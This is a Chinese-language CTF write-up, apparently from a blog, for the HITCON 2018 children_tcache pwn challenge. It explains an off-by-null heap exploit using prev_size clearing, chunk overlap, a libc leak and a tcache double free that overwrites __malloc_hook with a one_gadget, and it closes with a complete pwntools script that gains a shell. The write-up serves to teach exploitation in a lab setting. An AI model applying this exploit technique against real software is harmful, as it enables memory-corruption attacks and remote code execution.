又没做出来,先说说自己的思路

因为是off-by-null,所以准备构造重叠的chunk,但是发现程序里有memset,给构造prev size造成重大问题

所以来详细记录一下做题过程

先逆向,IDA里几个重要的点来记录一下

然后程序没有edit功能

思路:申请四个chunk

0,1,2,3

1来溢出到2,改2的size和prevsize,然后free2,把0,1都包含进去,申请合适大小chunk,利用1来泄漏地址

再申请一个和1相同size的chunk,这时有两个指针指向1,来个double free(tcache yyds),然后申请一次,p64(malloc_hook),然后申请两次拿shell

难点也是关键点:如何修改prev size

add(0x410,'unsorted bin')    # 0
add(0x68,'overflow') #1
add(0x4f0,'lemon') # 2
add(0x10,'protect') # 3 free(0) # 之后y有unlink检查,所以我们先free一下,借助系统给我们的unsorted bin指针绕过检查
free(1)

1号chunk 0x68是为了利用下一个chunk prevsize的复用

而且0号chunk 的size为unsorted bin大小是为了后面free2的时候向前合并可通过unlink 检查,这也是提前free 0的理由

可以看到这里prevsize由于free前的memset,很棘手,如果我们add的时候写入p64(size),那么由于我们不是直接写入的,而是strcpy的,所以遇到00就截断了,导致高位依然是0xda

这个时候有个很巧妙的处理方法,就是利用strcpy本身的特性,如果我们把前一块chunk free掉,add(0x67,0x67 * 'a'),那么chunk size还是0x71,2号chunk的prev size的高位会被'\x00'覆盖

而且当我们再次free的时候,memset(mem,0xda,mem_size),并不是将0x68的空间都置为0xda,而是将0x67的空间置为0xda,所以我们可以依次递减size,一直到prev size被置空

for i in range(0,6):
add(0x68-i,(0x68-i) * b'a')
free(0)

我们先循环六次,看看堆空间的内存分布是怎么样的

可以看到这时的高位被有效置空了,所以我们只需要增大循环次数即可

for i in range(0,9):
add(0x68-i,(0x68-i) * b'a')
free(0)

可以看到,这个时候prev size清空,而且size的in use位被置0

接下来伪造prev size,然后free 2,向前合并将1号chunk包含进去

add(0x68,b'b' * 0x60 + p64(0x490))    # 0
free(2) # 向前合并

成功向前合并

然后泄漏libc,这里的0x410是经过计算的,目的就是为了和heaparray中的指针对应起来,导致可泄漏libc

add(0x410,'a')    # 1,这个地方chunk size必须是0x420,否则无法泄漏libc
show(0) # 此处由于add了0x418,然后原来的0x68大小的chunk就会作为新unsorted bin头部,自然也就包含了残留的堆指针,而且此时我们并没有free它
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10
print("[*] leak:",hex(leak))

接下来我们再申请0x68大小的chunk,这时就有两个堆指针指向同一块内存区域了(原先的1号chunk 0x68)

所以我们可以free两次,在fd写入__malloc_hook,然后在malloc hook部分写入gadget

add(0x68,'b')    # 2

free(0)    # 此时0和2指向同一块chunk
free(2) # double free,可以change fd pointer了 one_gadget_list = [0x4f2c5,0x4f322,0x10a38c]
one_gadget = libc_base + one_gadget_list[2] add(0x68,p64(__malloc_hook))
add(0x68,'lemon')
add(0x68,p64(one_gadget))

总结模板化一下

ubuntu18下可以用这种模版来打off-by-null,16不适用,因为后面有个double free的操作

add(size0,index 0)  <--unsorted bin

add(size1,index 1)

add(size2,index 2)

add(size protected,index 3)

free(0)

通过1来overflow 2,写入prev size 和 size2 in use

free(2)

add(size0)

leak libc by show 1

add(size1 , index 4)  <-- 1和4都指向了同一块内存

free(1)   free(4)

add

add

add

getshell

下面是完整exp

from pwn import *

'''
author: lemon
time: 2020-10-17
libc: libc-2.23.so
python version: python3
''' local = 1 binary = "./HITCON_2018_children_tcache"
libc_path = './libc-2.27.so'
port = "26851" if local == 1:
p = process(binary)
else:
p = remote("node3.buuoj.cn",port) def dbg():
context.log_level = 'debug' context.terminal = ['tmux','splitw','-h'] def add(size,content):
p.sendlineafter('Your choice: ','1')
p.sendlineafter('Size:',str(size))
p.sendafter('Data:',content) def free(index):
p.sendlineafter('Your choice:','3')
p.sendlineafter('Index:',str(index)) def show(index):
p.sendlineafter('Your choice: ','2')
p.sendlineafter('Index:',str(index)) def leak_libc(addr):
global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
libc = ELF(libc_path)
libc_base = addr - libc.sym['__malloc_hook']
print("[*] libc base:",hex(libc_base))
__malloc_hook = libc_base + libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search(b'/bin/sh').__next__()
__free_hook = libc_base + libc.sym['__free_hook']
_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_'] add(0x410,'unsorted bin') # 0
add(0x68,'overflow') #1
add(0x4f0,'lemon') # 2
add(0x10,'protect') # 3 free(0) # 之后有unlink检查,所以我们先free一下,借助系统给我们的unsorted bin指针绕过检查
free(1) for i in range(0,9):
add(0x68-i,(0x68-i) * b'a')
free(0) add(0x68,b'b' * 0x60 + p64(0x490)) # 0
free(2) # 向前合并 add(0x410,'a') # 1,这个地方chunk size必须是0x420,否则无法泄漏libc
show(0) # 此处由于add了0x418,然后原来的0x68大小的chunk就会作为新unsorted bin头部,自然也就包含了残留的堆指针,而且此时我们并没有free它
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10
print("[*] leak:",hex(leak)) leak_libc(leak) add(0x68,'b') # 2 free(0) # 此时0和2指向同一块chunk
free(2) # double free,可以change fd pointer了 one_gadget_list = [0x4f2c5,0x4f322,0x10a38c]
one_gadget = libc_base + one_gadget_list[2] add(0x68,p64(__malloc_hook))
add(0x68,'lemon')
add(0x68,p64(one_gadget)) gdb.attach(p)
p.interactive()

ubuntu18.04下的off-by-null:hitcon_2018_children_tcache的更多相关文章

  1. Ubuntu18.04下安装搜狗输入法

    Ubuntu18.04下安装搜狗输入法 第一步:安装 fcitx输入框架 sudo apt-get install fcitx 第二步:在官网下载 Linux 版本搜狗输入法 https://piny ...

  2. Ubuntu18.04下给PyCharm创建快捷方式

    Ubuntu18.04下给PyCharm创建快捷方式 该方法 WebStorm.PyCharm.Clion 等都适用. 步骤 终端输入: sudo gedit /usr/share/applicati ...

  3. ubuntu18.04 下利用conda安装opencv3

    ubuntu18.04 下利用conda安装opencv3 安装opencv3 conda install -c https://conda.anaconda.org/menpo opencv3 出现 ...

  4. ubuntu18.04下安装mysql后无法用mysqlworkbench访问

    问题描述:我在ubuntu18.04下执行以下命令安装mysql时遇到了mysqlworkbench无法连接root用户的问题.ubuntu18.04下默认安装mysql时是5.7版本的,但是5.7版 ...

  5. Ubuntu18.04下安装MySQL

    Ubuntu上安装MySQL非常简单只需要几条命令就可以完成. 1. sudo apt-get install mysql-server 2. apt-get isntall mysql-client ...

  6. Ubuntu18.04下搭建LAMP环境

    一.Apache2 web 服务器的安装 : 可以先更新一下服务器 1.sudo apt-get update             # 获取最新资源包 2.sudo apt-get upgrade ...

  7. Ubuntu18.04下的音频录制和编辑软件Ardour及QjackCtl(jackd gui)

    Ardour 是一个Linux和OSX下的多音轨录制和数字音频编辑软件. 需要配合ALSA或者JACK总线使用. 快速入门 http://brunoruviaro.github.io/ardour4- ...

  8. Ubuntu18.04下的 Android Studio 3.1.2

    Android Studio安装 参考官网上的安装说明 # 安装依赖 :i386 lib32z1 libbz2-1.0:i386 安装openjdk (Update 2018-08-21: 这次重装U ...

  9. Centos5, 6, 以及Ubuntu18.04下更改系统时间和时区

    http://www.namhuy.net/2435/how-to-change-date-time-timezone-on-centos-6.html 查看日期(使用 -R 参数会以数字显示时区) ...

  10. ubuntu18.04下挂载网络文件系统失败【学习笔记】

    作者:庄泽彬(欢迎转载,请注明作者) PC:    ubuntu18.04 说明:  之前ubuntu16.04下搭建的环境,开发板挂载网络文件系统是ok的,但是换到ubuntu18.04在启动的时候 ...

随机推荐

  1. Fowsniff靶机

    Fowsniff靶机 主机探测+端口扫描. 扫目录没扫到什么,看一下页面源代码. 网站主页告诉我们这个站现在不提供服务了,并且因为收到了安全威胁,攻击者将他们管理员信息发布到了社交媒体上. 大家要科学 ...

  2. zabbix安装要求

    zabbix server 和 zabbix Agent都在一个压缩包中,可以从官网上下载源码包,www.zabbix.com/download.php zabbix是C语言编写,压缩包的文件夹介绍: ...

  3. Jaskson精讲第7篇-类继承关系下的JSON序列化与反序列化JsonTypeInfo

    Jackson是Spring Boot(SpringBoot)默认的JSON数据处理框架,但是其并不依赖于任何的Spring 库.有的小伙伴以为Jackson只能在Spring框架内使用,其实不是的, ...

  4. 全世界最强的算法平台codeforces究竟有什么魅力?

    大家好,之前说过由于和LeetCode结了梁子,所以周末的LeetCode专题取消了,给大家写点其他专题的算法问题.目前选择的是国外著名的编程竞赛平台--codeforces.它在竞赛圈名气比较大,对 ...

  5. 深入解析Vue里函数的调用顺序介绍

    今天为大家分享一篇对vue里函数的调用顺序介绍,写的十分的全面细致,具有一定的参考价值,对此有需要的朋友可以参考学习下.如有不足之处,欢迎批评指正. method用来定义方法的,比如你@click=& ...

  6. Actor:人生如戏全靠演技--“三维度”逻辑编程语言的设计(3)

    在上一篇介绍了逻辑编程的作用,介绍了逻辑编程中的一些概念,包括逻辑程序的结构:事实.规则和问题:知识的表达方式:谓词演算.产生式规则,以及这些概念与三维度(角色+场景+时间)理论的契合关系,正式提出了 ...

  7. 对于filter的理解

    filter语法:使用filter会创建一个新数组,所以原数组不变 array.filter(function(value,index,arr), thisValue) 其中:arr:数组(可选) i ...

  8. Centos-显示文件类型-file

    file 长度为0的文件则显示为空位文件,对于软链接文件则显示链接的真实文件路径,默认输出会有文件名 相关选项 -b 只显示文件类型结果 -L 显示软链接指向文件的类型 -z 显示压缩文件信息 -i ...

  9. Java知识系统回顾整理01基础06数组01创建数组

    一.数组定义 定义:数组是一个固定长度的,包含了相同类型数据的 容器 二.声明数组 int[] a; 声明了一个数组变量. []表示该变量是一个数组 int 表示数组里的每一个元素都是一个整数 a 是 ...

  10. C语言编程入门之--第六章C语言控制语句

    导读:本章带读者理解什么是控制语句,然后逐个讲解C语言常用的控制语句,含有控制语句的代码量多起来后就要注意写代码的风格了,本章末节都是练习题,大量的练习才能掌握好控制语句的使用. 6.1 什么是控制语 ...